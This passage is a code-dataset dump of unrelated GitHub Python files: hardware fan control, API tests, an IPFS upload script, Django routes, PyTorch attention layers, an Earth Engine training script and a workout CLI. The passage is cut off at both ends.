MIN_SPEED)\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(FAN_PIN, GPIO.OUT)\nfan = GPIO.PWM(FAN_PIN, PWM_FREQ)\nfan.start(0)\n\ntry:\n while True:\n temps = get_cluster_temps()\n speed = calculate_fan_speed(temps)\n fan.ChangeDutyCycle(speed)\n print(\"Current temperatures: \", temps)\n print(\"Current fan speed: {}%\".format(speed))\n \n client = InfluxDBClient(host='localhost', port=8086)\n client.switch_database('DB_name') # here you need to give the DB of the prometheus controller\n data = [\n {\n \"measurement\": \"fan_control\",\n \"tags\": {\n \"host\": \"your_host_name\",\n },\n \"fields\": {\n \"temperature\": max(temps),\n \"fan_speed\": speed,\n }\n }\n ]\n client.write_points(data)\n \n time.sleep(5)\nexcept KeyboardInterrupt:\n fan.stop()\n GPIO.cleanup()\n # when you run this script, it will output it's doing. \n","repo_name":"tinkermesomething/scripts-stuff","sub_path":"fan_control.py","file_name":"fan_control.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30895008453","text":"from back_mobile.response_data_types.registration.access_refresh_tokens import AccRefTokens\nfrom utils.url_provider import URLProvider\nfrom utils.api_utils.test_request import TestRequest\n\n\nclass PostClientSMSRegistration(TestRequest):\n\n def __init__(self, context):\n super().__init__(\n URLProvider().url(\"back_mobile\", \"api/v1/mobile/client-registration\"),\n \"post\",\n data_type=AccRefTokens,\n headers=context.auth_token()\n )\n self.code = context.code\n self.device_id = context.device.device_id\n self.device_info = context.device.device_info\n self.lang_id = context.device.lang_id\n self.sign_id = context.sign_id\n","repo_name":"Bobur-oiligarh/autotests","sub_path":"back_mobile/requests/registration/post_client_sms_reg.py","file_name":"post_client_sms_reg.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8897256499","text":"from brownie import config\nimport os, requests\nfrom pathlib import Path\n\n\nPINIATA_BASE_URL = \"https://api.pinata.cloud/\"\nendpoint = \"pinning/pinFileToIPFS\"\n# Change this filepath\nfilepath0 = \"./img/st-bernard.png\"\nfilename0 = filepath0.split(\"/\")[-1:][0]\n\nfilepath1 = \"./img/st-bernard.png\"\nfilename1 = filepath1.split(\"/\")[-1:][0]\n\n\n# Alternative way using brownie config\n\n### First Method\n# headers = {\n# \"pinata_api_key\": config[\"Piniata\"][\"public_key\"],\n# \"pinata_secret_api_key\": config[\"Piniata\"][\"Secret_key\"],\n# }\n\n### Second Method\nheaders = {\n \"pinata_api_key\": config[\"wallets\"][\"public_key\"],\n \"pinata_secret_api_key\": config[\"wallets\"][\"Secret_key\"],\n}\n\n## Third Method\n# headers = {\n# \"pinata_api_key\": os.getenv(\"API_KEY_PINIATA\"),\n# \"pinata_secret_api_key\": os.getenv(\"SECRET_API_KEY_PINIATA\"),\n# }\n\n\ndef do_the_thingy_wingy(filepath, filename):\n with Path(filepath).open(\"rb\") as fp:\n image_binary = fp.read()\n response = requests.post(\n PINIATA_BASE_URL + endpoint,\n files={\"file\": (filename, image_binary)},\n headers=headers,\n )\n print(f\"jeez that was willd and new 😏😏😏😏����🤑\\n{response.json()}\")\n\n\ndef main():\n do_the_thingy_wingy(filepath0, filename0)\n do_the_thingy_wingy(filepath1, filename1)\n","repo_name":"ChubbyDogeCoder/Brownie_Simple_NFT_Lottery","sub_path":"scripts/upload_to_Piniata.py","file_name":"upload_to_Piniata.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38619308570","text":"from django.urls import path, include\nfrom musicos.views import (\n IndexView,\n ListarGenerosView,\n ListarInstrumentosView,\n ListarBandasView,\n AgregarGeneroView,\n AgregarInstrumentoView,\n AgregarBandaView,\n EditarGeneroView,\n EditarInstrumentoView,\n EditarBandaView,\n EliminarGeneroView,\n EliminarInstrumentoView,\n EliminarBandaView\n)\n\napp_name = 'musicos'\n\nurlpatterns = [\n path('', IndexView.as_view(), name='index'),\n path('generos/', ListarGenerosView.as_view(), name='listar_generos'),\n path('instrumentos/', ListarInstrumentosView.as_view(), name='listar_instrumentos'),\n path('bandas/', ListarBandasView.as_view(), name='listar_bandas'),\n path('agregar_genero/', AgregarGeneroView.as_view(), name='agregar_genero'),\n path('agregar_instrumento/', AgregarInstrumentoView.as_view(), name='agregar_instrumento'),\n path('agregar_banda/', AgregarBandaView.as_view(), name='agregar_banda'),\n path('editar_genero//', EditarGeneroView.as_view(), name='editar_genero'),\n path('editar_instrumento//', EditarInstrumentoView.as_view(), name='editar_instrumento'),\n path('editar_banda//', EditarBandaView.as_view(), name='editar_banda'),\n path('eliminar_genero//', EliminarGeneroView.as_view(), name='eliminar_genero'),\n path('eliminar_instrumento//', EliminarInstrumentoView.as_view(), name='eliminar_instrumento'),\n path('eliminar_banda//', EliminarBandaView.as_view(), name='eliminar_banda'),\n]","repo_name":"Matmrmb/Tercera-pre-entrega-Marambio","sub_path":"musicos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9326144724","text":"import os\nimport json\nimport requests\n\nos.system('cls')\n\n# lista1 = [1,2,3,'vish',['nome','Guilherme']]\n\n# for item in lista1:\n# print(item)\n\n# lista1.insert(1,'teste')\n\n\n# for item in lista1:\n# print(item)\n\n# lista1 = [1,9,2,3]\n# lista2 = [4,5,6]\n# lista3 = []\n\n# lista3.extend(lista1+lista2)\n# lista3.sort()\n# for item in lista3:\n# print(item)\n\ndef exibir (lista):\n for item in lista:\n print(item)\n\n print(\"tamanho = %d \\n\" %len(lista))\n\n# lista = [5,2,3,4]\n# lista.sort()\n# lista.insert(0,1)\n# lista.reverse()\n# lista.remove(2)\n# del lista[1]\n# exibir(lista)\n\nletras = [\"A\",\"B\",\"C\"]\nnumeros = [1,2,3]\n\nprod_cart = [(let,num) for let in letras for num in numeros]\nexibir(prod_cart)\n\nurl = 'https://parallelum.com.br/fipe/api/v1/carros/marcas'\nheader = {\"User-Agent\":\"Chrome\"}\n\n# data = {}\n# data['sp'] = \"São Paulo\"\n# data['rj'] = \"Rio de Janeiro\"\n# data[\"mg\"] = \"Minas Gerais\"\n# data[\"vermelho\"] = {\"nome\":\"Vermelho\", \"rgb\":\"255,0,0\", \"hex\":\"#FFFF00\"}\n# data[\"verde\"] = {\"nome\":\"Verde\", \"rgb\":\"0,255,0\", \"hex\":\"#00FF00\"}\n# data[\"azul\"] = {\"nome\":\"Azul\", \"rgb\":\"0,0,255\", \"hex\":\"#0000FF\"}\ndata = requests.get(url = url, headers=header)\n\nfor linha in data.json():\n print(linha['codigo'] + '\\t ' + linha['nome'])\n\n\n#escrever formato JSON\n# f = open(\"output.json\",\"w\")\n# json.dump(data,f,sort_keys=True, indent=4)\n# f.close()\n\n# #ler formato JSON\n# f = open(\"output.json\",\"r\")\n# data = json.load(f)\n# f.close()\n\n# print(data.json())","repo_name":"Gui-brito/Python_TEI","sub_path":"aula04.py","file_name":"aula04.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27750909554","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass ScalarDotProductAttention(nn.Module):\n def __init__(\n self,\n n_head\n ):\n super().__init__()\n self.n_head = n_head\n\n def forward(\n self,\n Q,\n K,\n V,\n mask = None\n ):\n l_query, n_batch, n_head, d_query = Q.shape\n l_key, _, _, d_key = K.shape\n l_value, _, _, d_value = V.shape\n\n assert n_head == self.n_head, f\"n_head: {n_head}, self.n_head: {self.n_head}\"\n assert d_query == d_key, f\"d_query: {d_query}, d_key: {d_key}\"\n assert l_key == l_value, f\"l_key: {l_key}, l_value: {l_value}\"\n\n Q = Q.reshape(l_query, 1, n_batch, n_head, d_query, 1)\n K = K.reshape(1, l_key, n_batch, n_head, d_key, 1)\n V = V.reshape(1, l_value, n_batch, n_head, d_value)\n\n x = torch.sum(Q * K, dim=4)\n x = x / torch.sqrt(torch.tensor(d_key))\n\n if mask is not None:\n assert mask.shape == (l_query, l_key)\n x = x + mask[:, :, None, None, None]\n\n x = F.softmax(x, dim=1) # (l_query, l_key, n_batch, n_head, 1)\n\n x = torch.sum(x * V, dim=1) # (l_query, n_batch, n_head, d_value)\n return x\n\nclass LinearAttention(nn.Module):\n def __init__(\n self,\n n_head,\n eps=1e-6\n ):\n super().__init__()\n self.n_head = n_head\n self.eps = eps\n\n def forward(\n self,\n Q,\n K,\n V,\n mask = None\n ):\n assert mask is None, \"LinearAttention does not support mask\"\n l_query, n_batch, n_head, d_query = Q.shape\n l_key, _, _, d_key = K.shape\n l_value, _, _, d_value = V.shape\n\n assert n_head == self.n_head, f\"n_head: {n_head}, self.n_head: {self.n_head}\"\n assert d_query == d_key, f\"d_query: {d_query}, d_key: {d_key}\"\n assert l_key == l_value, f\"l_key: {l_key}, l_value: {l_value}\"\n\n Q = F.elu(Q) + 1\n K = F.elu(K) + 1\n\n Q = Q.reshape(l_query, n_batch, n_head, d_query, 1)\n K = K.reshape(1, l_key, n_batch, n_head, d_key, 1)\n V = V.reshape(1, l_value, n_batch, n_head, 1, d_value)\n\n A = torch.sum(K * V, dim=1) # (1, n_batch, n_head, d_key, d_value)\n A = torch.sum(Q * A, dim=3) # (l_query, n_batch, n_head, d_value)\n B = torch.sum(K, dim=1) # (1, n_batch, n_head, d_key, 1)\n B = torch.sum(Q * B, dim=3) # (l_query, n_batch, n_head, 1)\n\n x = A / (B + self.eps)\n return x\n\nclass CausalLinearAttention(nn.Module):\n def __init__(\n self,\n n_head,\n eps=1e-6\n ):\n super().__init__()\n self.n_head = n_head\n self.eps = eps\n\n def forward(\n self,\n Q,\n K,\n V,\n mask = None\n ):\n assert mask is None\n\n l_query, n_batch, n_head, d_query = Q.shape\n l_key, _, _, d_key = K.shape\n l_value, _, _, d_value = V.shape\n\n assert n_head == self.n_head, f\"n_head: {n_head}, self.n_head: {self.n_head}\"\n assert d_query == d_key, f\"d_query: {d_query}, d_key: {d_key}\"\n assert l_key == l_value, f\"l_key: {l_key}, l_value: {l_value}\"\n\n assert l_query == l_key, f\"l_query: {l_query}, l_key: {l_key}\\nCausal Linear Attention does not support non-square Attention map\"\n\n Q = F.elu(Q) + 1\n K = F.elu(K) + 1\n\n Q = Q.reshape(l_query, n_batch, n_head, d_query, 1)\n K = K.reshape(l_key, n_batch, n_head, d_key, 1)\n V = V.reshape(l_value, n_batch, n_head, 1, d_value)\n\n A = torch.cumsum(K * V, dim=1) # (l_key, n_batch, n_head, d_key, d_value)\n A = torch.sum(Q * A, dim=3) # (l_query, n_batch, n_head, d_value)\n\n B = torch.cumsum(K, dim=1) # (l_key, n_batch, n_head, d_key, 1)\n B = torch.sum(Q * B, dim=3) # (l_query, n_batch, n_head, 1)\n\n x = A / (B + self.eps)\n return x\n\nclass MultiHeadAttention(nn.Module):\n\n def __init__(\n self,\n d_model,\n d_query,\n d_key,\n d_value,\n n_head,\n attention_type=\"ScalarDotProductAttention\"\n ):\n super().__init__()\n assert(d_query == d_key)\n self.d_model = d_model\n self.d_query = d_query\n self.d_key = d_key\n self.d_value = d_value\n self.n_head = n_head\n\n if attention_type == \"ScalarDotProductAttention\":\n self.attention = ScalarDotProductAttention(n_head)\n elif attention_type == \"LinearAttention\":\n self.attention = LinearAttention(n_head)\n elif attention_type == \"CausalLinearAttention\":\n self.attention = CausalLinearAttention(n_head)\n\n # for make Q, K, V into H heads\n self.project_query = nn.Linear(\n in_features=d_model,\n out_features=n_head * d_query\n )\n self.project_key = nn.Linear(\n in_features=d_model,\n out_features=n_head * d_key\n )\n self.project_value = nn.Linear(\n in_features=d_model,\n out_features=n_head * d_value\n )\n # for aggregate H heads\n self.aggregate =nn.Linear(\n in_features=n_head * d_value,\n out_features=d_model\n )\n\n def forward(\n self,\n Q,\n K,\n V,\n mask = None\n ):\n l_query, n_batch, d_model = Q.shape\n l_key, _, _ = K.shape\n l_value, _, _ = V.shape\n assert(l_key == l_value)\n assert(d_model == self.d_model)\n\n Q = Q.reshape(l_query * n_batch, d_model)\n K = K.reshape(l_key * n_batch, d_model)\n V = V.reshape(l_value * n_batch, d_model)\n\n Q = self.project_query(Q)\n K = self.project_key(K)\n V = self.project_value(V)\n\n Q = Q.reshape(l_query, n_batch, self.n_head, self.d_query)\n K = K.reshape(l_key, n_batch, self.n_head, self.d_key)\n V = V.reshape(l_value, n_batch, self.n_head, self.d_value)\n\n x = self.attention(Q, K, V, mask=mask)\n x = x.reshape(l_query * n_batch, self.n_head * self.d_value)\n x = self.aggregate(x)\n x = x.reshape(l_query, n_batch, self.d_model)\n return x\n","repo_name":"T0RA1107/LaTeX_OCR","sub_path":"model/TransformerModule/Attention.py","file_name":"Attention.py","file_ext":"py","file_size_in_byte":6163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15738340725","text":"from functools import partial\n\nimport ee\nimport tensorflow as tf\nfrom segmentation_models import Unet\n\nfrom dataset import authenticate, get_asset_info, get_points, get_chips\n\n\nsession = authenticate()\ndem_id = \"CGIAR/SRTM90_V4\"\nslope = ee.Terrain.slope(ee.Image(dem_id))\ndem_info = get_asset_info(dem_id, session)\nscale = dem_info[\"bands\"][0][\"grid\"][\"affineTransform\"][\"scaleX\"]\n\n\ndef get_loaded_chips(pt_tf):\n return tf.py_function(\n partial(\n get_chips,\n feature_image=dem_id,\n feature_bands=[\"elevation\"],\n label_image=slope,\n label_bands=[\"slope\"],\n scale=scale,\n session=session,\n ),\n [pt_tf],\n [tf.float32, tf.float32],\n )\n\n\npoints = get_points(40)\ndataset = tf.data.Dataset.from_tensor_slices(points).map(get_loaded_chips)\n\nv_dataset = tf.data.Dataset.from_tensor_slices(get_points(20)).map(get_loaded_chips)\n\nmodel = Unet(\n \"resnet34\",\n input_shape=(None, None, 1),\n activation=\"linear\",\n classes=1,\n encoder_weights=None,\n)\n\nmodel.compile(\"SGD\", \"MeanSquaredError\", [\"RootMeanSquaredError\"])\nmodel.fit(dataset, batch_size=1, epochs=10, validation_data=v_dataset)\n","repo_name":"jessjaco/gee-chipper","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"40529144043","text":"# -*- coding: utf-8 -*-\nimport datetime\n\nfrom sqlalchemy.engine import reflection\n\nimport carry\nfrom tests import users\nfrom tests.functional_tests import db1, db2\nfrom tests.utlis import chdir\n\n\ndef test():\n # Arrange\n users.create(db1.engine)\n users.create(db2.engine)\n db1.engine.execute(\n users.insert(),\n [\n {'name': 'wendy', 'fullname': 'Wendy Williams', 'reg_time': datetime.datetime.now()},\n {'name': 'wendy', 'fullname': 'Wendy Williams', 'reg_time': datetime.datetime.now()},\n {'name': 'wendy', 'fullname': 'Wendy Williams', 'reg_time': datetime.datetime.now()}\n ]\n )\n\n # Act\n def Assert():\n inspector = reflection.Inspector.from_engine(db1.engine)\n assert 'users_view' in inspector.get_view_names()\n\n config = {\n 'STORES': [\n {\n 'name': 'db1',\n 'url': db1.url,\n 'create_view': True,\n },\n {\n 'name': 'db2',\n 'url': db2.url,\n }\n ],\n 'TASKS': [\n {\n 'from': [{\n 'name': 'db1'\n }],\n 'to': {\n 'name': 'db2',\n },\n 'orders': [\n 'users_view',\n carry.py(Assert, dependency=['users_view'])\n ],\n }\n ]\n }\n with chdir(__file__):\n carry.run(config)\n\n # Teardown\n db2.engine.execute('DROP TABLE users_view')\n","repo_name":"toaco/carry","sub_path":"tests/functional_tests/test_case4/test_case4.py","file_name":"test_case4.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":124,"dataset":"github-code","pt":"35"} +{"seq_id":"74062346659","text":"\"\"\"\r\nPyWORKOUT CLI\r\nCopyright (C) 2021-2023 @willtheorangeguy\r\n\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, version 3 of the License.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program. If not, see .\r\n\"\"\"\r\nimport os\r\nimport subprocess\r\nimport sys\r\nimport time\r\nfrom datetime import datetime\r\n\r\n# Import Statements\r\n\r\n# PyWorkout Function\r\n\r\n\r\ndef workout():\r\n # Workout Lists\r\n groups = [\"Abs\", \"Quads\", \"Glutes\", \"Triceps\", \"Biceps\", \"Back\", \"Chest\"]\r\n abs = [\r\n \"Situps\\t\",\r\n \"Reverse Crunches\",\r\n \"Bicycle Crunches\",\r\n \"Flutter Kicks\",\r\n \"Leg Raises\\t\",\r\n \"Elbow Planks\\t\",\r\n ]\r\n abs_count = [25, 25, 25, 25, 25, 2]\r\n quads = [\r\n \"Lunges\\t\",\r\n \"High Knees\\t\",\r\n \"Side Kicks\\t\",\r\n \"Mountain Climbers\",\r\n \"Plank Jump Ins\",\r\n \"Lunges & Step Ups\",\r\n ]\r\n quads_count = [50, 50, 50, 25, 25, 50]\r\n glutes = [\r\n \"Squats\\t\",\r\n \"Donkey Kicks\\t\",\r\n \"Bridges\\t\",\r\n \"Step Ups\\t\",\r\n \"Fly Steps\\t\",\r\n \"Side Leg Raises\",\r\n ]\r\n glutes_count = [25, 25, 25, 25, 50, 50]\r\n triceps = [\r\n \"Diamond Pushups\",\r\n \"Tricep Dips\\t\",\r\n \"Tricep Extensions\",\r\n \"Get Ups\\t\",\r\n \"Punches\\t\",\r\n \"Side to Side Chops\",\r\n ]\r\n triceps_count = [25, 25, 25, 50, 50, 50]\r\n biceps = [\r\n \"Backlists\\t\",\r\n \"Doorframe Rows\",\r\n \"Decline Pushups\",\r\n \"Side Plank\\t\",\r\n \"Pushups\\t\",\r\n ]\r\n biceps_count = [50, 50, 25, 2, 25]\r\n back = [\r\n \"Scapular Shrugs\",\r\n \"Supermans\\t\",\r\n \"Back Lifts\\t\",\r\n \"Arm/Leg Plank\",\r\n \"Reverse Angels\",\r\n ]\r\n back_count = [25, 25, 25, 2, 25]\r\n chest = [\r\n \"Pushups\\t\",\r\n \"Chest Expansions\",\r\n \"Chest Squeezes\",\r\n \"Pike Pushups\\t\",\r\n \"Shoulder Taps\",\r\n ]\r\n chest_count = [25, 25, 25, 25, 25, 25]\r\n complete = []\r\n times = []\r\n\r\n # Video File Paths\r\n # change these to personal video path\r\n abs_video = \"D:\\\\Videos\\\\Workout Videos\\\\10 Minute Ab Workout.mp4\"\r\n quads_video = \"D:\\\\Videos\\\\Workout Videos\\\\12 Min Leg Workout.mp4\"\r\n glutes_video = \"D:\\\\Videos\\\\Workout Videos\\\\10 Minute Glute Bridge Workout.mp4\"\r\n triceps_video = \"D:\\\\Videos\\\\Workout Videos\\\\10 Minute Upper Body Workout.mp4\"\r\n biceps_video = \"D:\\\\Videos\\\\Workout Videos\\\\15 Minute Full Body HIIT Workout.mp4\"\r\n back_video = \"D:\\\\Videos\\\\Workout Videos\\\\20 Minute Full Body Workout.mp4\"\r\n chest_video = \"D:\\\\Videos\\\\Workout Videos\\\\15 Minute Intense Bodyweight Workout.mp4\"\r\n\r\n # Video Function\r\n def video(path):\r\n if sys.platform == \"win32\":\r\n os.startfile(path)\r\n else:\r\n opener = \"open\" if sys.platform == \"darwin\" else \"xdg-open\"\r\n subprocess.call([opener, path])\r\n\r\n # Welcome\r\n print(\" WELCOME TO PyWORKOUT\")\r\n print(\"Please select a group from those below.\")\r\n for i in range(len(groups)):\r\n print(str(i + 1) + \". \" + str(groups[i]))\r\n print(\r\n \"A reminder that today is: \"\r\n + datetime.today().strftime(\"%A\")\r\n + \". Consider option \"\r\n + str(int(datetime.today().strftime(\"%w\")) + 1)\r\n + \".\"\r\n )\r\n\r\n # Display Workout Options\r\n run_options = True\r\n while run_options == True:\r\n global select\r\n select = str(input(\"\\nGroup? \"))\r\n if select.lower() == \"1\" or select.lower() == \"abs\":\r\n print(\"Ab muscle group selected!\\n\")\r\n select = \"abs\"\r\n run_options = False\r\n elif select.lower() == \"2\" or select.lower() == \"quads\":\r\n print(\"Quad muscle group selected!\\n\")\r\n select = \"quads\"\r\n run_options = False\r\n elif select.lower() == \"3\" or select.lower() == \"glutes\":\r\n print(\"Glutes muscle group selected!\\n\")\r\n select = \"glutes\"\r\n run_options = False\r\n elif select.lower() == \"4\" or select.lower() == \"triceps\":\r\n print(\"Tricep muscle group selected!\\n\")\r\n select = \"triceps\"\r\n run_options = False\r\n elif select.lower() == \"5\" or select.lower() == \"biceps\":\r\n print(\"Bicep muscle group selected!\\n\")\r\n select = \"biceps\"\r\n run_options = False\r\n elif select.lower() == \"6\" or select.lower() == \"back\":\r\n print(\"Back muscle group selected!\\n\")\r\n select = \"back\"\r\n run_options = False\r\n elif select.lower() == \"7\" or select.lower() == \"chest\":\r\n print(\"Chest muscle group selected!\\n\")\r\n select = \"chest\"\r\n run_options = False\r\n elif select.lower() == \"quit\":\r\n exit()\r\n break\r\n else:\r\n print(\"Sorry that is incorrect. Please try again! \\n\")\r\n run_options = True\r\n\r\n # Ask What They Want to Do\r\n run_activity = True\r\n while run_activity == True:\r\n activity = str(input(\"What do you want to do? \"))\r\n if activity.lower() == \"list\":\r\n if select == \"abs\":\r\n for i in range(len(abs)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(abs[i])\r\n + \"\\t 2 Sets of \"\r\n + str(abs_count[i])\r\n + \" Reps\"\r\n )\r\n elif select == \"quads\":\r\n for i in range(len(quads)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(quads[i])\r\n + \"\\t 2 Sets of \"\r\n + str(quads_count[i])\r\n + \" Reps\"\r\n )\r\n elif select == \"glutes\":\r\n for i in range(len(glutes)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(glutes[i])\r\n + \"\\t 2 Sets of \"\r\n + str(glutes_count[i])\r\n + \" Reps\"\r\n )\r\n elif select == \"triceps\":\r\n for i in range(len(glutes)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(triceps[i])\r\n + \"\\t 2 Sets of \"\r\n + str(triceps_count[i])\r\n + \" Reps\"\r\n )\r\n elif select == \"biceps\":\r\n for i in range(len(biceps)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(biceps[i])\r\n + \"\\t 2 Sets of \"\r\n + str(biceps_count[i])\r\n + \" Reps\"\r\n )\r\n elif select == \"back\":\r\n for i in range(len(back)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(back[i])\r\n + \"\\t 2 Sets of \"\r\n + str(back_count[i])\r\n + \" Reps\"\r\n )\r\n elif select == \"chest\":\r\n for i in range(len(chest)):\r\n print(\r\n str(i + 1)\r\n + \". \"\r\n + str(chest[i])\r\n + \"\\t 2 Sets of \"\r\n + str(chest_count[i])\r\n + \" Reps\"\r\n )\r\n print(\"\")\r\n run_activity = True\r\n elif activity.lower() == \"start\":\r\n global activity_num\r\n activity_num = 0\r\n global start\r\n start = datetime.now()\r\n times.append(start)\r\n print(\"You have started the \" + select + \" muscle group. \")\r\n print(\"The current time is: \" + str(time.strftime(\"%H:%M:%S\")))\r\n if select == \"abs\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(abs_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(abs_count[activity_num])\r\n + \" Reps of \"\r\n + str(abs[activity_num])\r\n )\r\n complete.append(abs[activity_num])\r\n elif select == \"quads\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(quads_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(quads_count[activity_num])\r\n + \" Reps of \"\r\n + str(quads[activity_num])\r\n )\r\n complete.append(quads[activity_num])\r\n elif select == \"glutes\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(glutes_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(glutes_count[activity_num])\r\n + \" Reps of \"\r\n + str(glutes[activity_num])\r\n )\r\n complete.append(glutes[activity_num])\r\n elif select == \"triceps\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(triceps_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(triceps_count[activity_num])\r\n + \" Reps of \"\r\n + str(triceps[activity_num])\r\n )\r\n complete.append(triceps[activity_num])\r\n elif select == \"biceps\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(biceps_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(biceps_count[activity_num])\r\n + \" Reps of \"\r\n + str(biceps[activity_num])\r\n )\r\n complete.append(biceps[activity_num])\r\n elif select == \"back\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(back_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(back_count[activity_num])\r\n + \" Reps of \"\r\n + str(back[activity_num])\r\n )\r\n complete.append(back[activity_num])\r\n elif select == \"chest\":\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(chest_count))))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(chest_count[activity_num])\r\n + \" Reps of \"\r\n + str(chest[activity_num])\r\n )\r\n complete.append(chest[activity_num])\r\n print(\"\")\r\n activity_num = activity_num + 1\r\n run_activity = True\r\n elif activity.lower() == \"next\":\r\n now = datetime.now()\r\n times.append(now)\r\n print(\"You are in the \" + select + \" muscle group. \")\r\n print(\r\n \"The current time is: \"\r\n + str(time.strftime(\"%H:%M:%S\"))\r\n + \". \"\r\n + str(now - start)\r\n + \" has elapsed.\"\r\n )\r\n if select == \"abs\":\r\n if activity_num < 6:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(abs_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(abs_count[activity_num])\r\n + \" Reps of \"\r\n + str(abs[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(abs[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n elif select == \"quads\":\r\n if activity_num < 6:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(quads_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(quads_count[activity_num])\r\n + \" Reps of \"\r\n + str(quads[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(quads[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n elif select == \"glutes\":\r\n if activity_num < 6:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(glutes_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(glutes_count[activity_num])\r\n + \" Reps of \"\r\n + str(glutes[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(glutes[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n elif select == \"triceps\":\r\n if activity_num < 6:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(triceps_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(triceps_count[activity_num])\r\n + \" Reps of \"\r\n + str(triceps[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(triceps[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n elif select == \"biceps\":\r\n if activity_num < 5:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(biceps_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(biceps_count[activity_num])\r\n + \" Reps of \"\r\n + str(biceps[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(biceps[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n elif select == \"back\":\r\n if activity_num < 5:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(back_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(back_count[activity_num])\r\n + \" Reps of \"\r\n + str(back[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(back[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n elif select == \"chest\":\r\n if activity_num < 6:\r\n print(\r\n \"You have completed: \"\r\n + str((int(activity_num / len(chest_count) * 100)))\r\n + \"%\"\r\n )\r\n print(\r\n \"Please complete 2 Sets of \"\r\n + str(chest_count[activity_num])\r\n + \" Reps of \"\r\n + str(chest[activity_num])\r\n + \"\\n\"\r\n )\r\n complete.append(chest[activity_num])\r\n else:\r\n print(\"You have completed all the workouts for this set!\")\r\n print(\"Run the `end` command to finish the workout. \\n\")\r\n activity_num = activity_num + 1\r\n run_activity = 